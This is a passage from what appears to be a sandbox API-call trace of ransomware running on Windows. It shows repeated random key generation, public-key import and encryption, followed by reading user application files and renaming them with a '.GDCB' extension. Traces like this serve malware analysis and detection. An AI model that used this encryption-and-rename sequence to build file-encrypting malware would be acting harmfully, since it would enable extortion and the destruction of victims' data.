lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.341] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0292.341] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.341] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0292.345] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.348] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.348] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0292.348] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.348] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0292.351] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67aaff0) returned 1 [0292.351] CryptGetKeyParam (in: hKey=0x67aaff0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0292.351] CryptEncrypt (in: hKey=0x67aaff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd5a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd5a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0292.352] GetLastError () returned 0x0 [0292.352] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.352] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0292.354] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67aa930) returned 1 [0292.354] CryptGetKeyParam (in: hKey=0x67aa930, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0292.354] CryptEncrypt (in: hKey=0x67aa930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd5b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd5b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0292.354] GetLastError () returned 0x0 [0292.354] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.354] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\{3D88D681-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\{3d88d681-6818-11e7-9bd3-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0292.356] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd5c0000 [0292.359] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd5d0000 [0292.362] ReadFile (in: hFile=0x458, lpBuffer=0xd5d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd5d0000*, lpNumberOfBytesRead=0x285d3e8*=0x1000, lpOverlapped=0x0) returned 1 [0292.370] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x4) returned 0xd6e0000 [0292.377] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\{3D88D681-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\{3d88d681-6818-11e7-9bd3-c40142ecde47}.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\{3D88D681-6818-11E7-9BD3-C40142ECDE47}.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\{3d88d681-6818-11e7-9bd3-c40142ecde47}.dat.gdcb")) returned 0 [0292.393] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.396] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.399] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.399] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0292.399] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.399] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.402] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.406] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.406] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0292.406] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.406] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.409] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa130) returned 1 [0292.409] CryptGetKeyParam (in: hKey=0x67aa130, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.409] CryptEncrypt (in: hKey=0x67aa130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd5a0000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd5a0000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0292.409] GetLastError () returned 0x0 [0292.409] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.409] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.411] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa330) returned 1 [0292.411] CryptGetKeyParam (in: hKey=0x67aa330, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.411] CryptEncrypt (in: hKey=0x67aa330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd5b0000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd5b0000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0292.412] GetLastError () returned 0x0 [0292.412] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.412] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\microsoft.microsoftedge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0292.433] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0292.437] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.439] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.439] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0292.439] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.439] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.445] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.445] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0292.445] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.446] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.448] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa0f0) returned 1 [0292.448] CryptGetKeyParam (in: hKey=0x67aa0f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.448] CryptEncrypt (in: hKey=0x67aa0f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd5c0000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd5c0000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0292.448] GetLastError () returned 0x0 [0292.448] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.448] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.451] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa570) returned 1 [0292.451] CryptGetKeyParam (in: hKey=0x67aa570, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.451] CryptEncrypt (in: hKey=0x67aa570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd5d0000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd5d0000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0292.451] GetLastError () returned 0x0 [0292.451] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.451] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\microsoft.microsoftofficehub_17.4218.23751.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0292.524] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.528] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.531] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.531] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0292.531] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.532] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.535] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.538] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.538] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0292.538] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.538] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.541] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aabf0) returned 1 [0292.541] CryptGetKeyParam (in: hKey=0x67aabf0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.541] CryptEncrypt (in: hKey=0x67aabf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd5e0000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd5e0000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0292.541] GetLastError () returned 0x0 [0292.541] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.541] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0292.543] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aac30) returned 1 [0292.549] CryptGetKeyParam (in: hKey=0x67aac30, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.549] CryptEncrypt (in: hKey=0x67aac30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd5f0000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd5f0000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0292.549] GetLastError () returned 0x0 [0292.549] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.549] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Microsoft.Office.OneNote_17.4201.10091.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\microsoft.office.onenote_17.4201.10091.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0292.572] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0292.576] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.581] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.581] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0292.581] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.581] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.586] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.589] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.589] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0292.589] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.590] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.592] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aac70) returned 1 [0292.593] CryptGetKeyParam (in: hKey=0x67aac70, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.593] CryptEncrypt (in: hKey=0x67aac70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd600000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd600000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0292.593] GetLastError () returned 0x0 [0292.593] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.593] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0292.595] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab4f0) returned 1 [0292.595] CryptGetKeyParam (in: hKey=0x67ab4f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.595] CryptEncrypt (in: hKey=0x67ab4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd610000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd610000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0292.595] GetLastError () returned 0x0 [0292.595] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.595] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Microsoft.People_1.10159.0.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.people_8wekyb3d8bbwe\\microsoft.people_1.10159.0.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0292.597] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd620000 [0292.601] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd630000 [0292.605] ReadFile (in: hFile=0x504, lpBuffer=0xd630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd630000*, lpNumberOfBytesRead=0x285de08*=0x8000, lpOverlapped=0x0) returned 1 [0292.642] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0292.650] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Microsoft.People_1.10159.0.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.people_8wekyb3d8bbwe\\microsoft.people_1.10159.0.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Microsoft.People_1.10159.0.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.people_8wekyb3d8bbwe\\microsoft.people_1.10159.0.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0292.673] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0292.678] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.680] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.680] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0292.680] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0292.680] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.684] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.704] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.704] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0292.704] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.704] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.707] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab1b0) returned 1 [0292.707] CryptGetKeyParam (in: hKey=0x67ab1b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.707] CryptEncrypt (in: hKey=0x67ab1b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd600000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd600000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0292.707] GetLastError () returned 0x0 [0292.707] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.707] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0292.710] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab5b0) returned 1 [0292.710] CryptGetKeyParam (in: hKey=0x67ab5b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.710] CryptEncrypt (in: hKey=0x67ab5b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd610000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd610000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0292.710] GetLastError () returned 0x0 [0292.710] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.710] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Microsoft.SkypeApp_3.2.1.0_x86__kzf8qxf38zg5c\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\microsoft.skypeapp_3.2.1.0_x86__kzf8qxf38zg5c\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0292.711] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd620000 [0292.716] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd630000 [0292.718] ReadFile (in: hFile=0x504, lpBuffer=0xd630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd630000*, lpNumberOfBytesRead=0x285de08*=0x2000, lpOverlapped=0x0) returned 1 [0292.727] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0292.734] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Microsoft.SkypeApp_3.2.1.0_x86__kzf8qxf38zg5c\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application 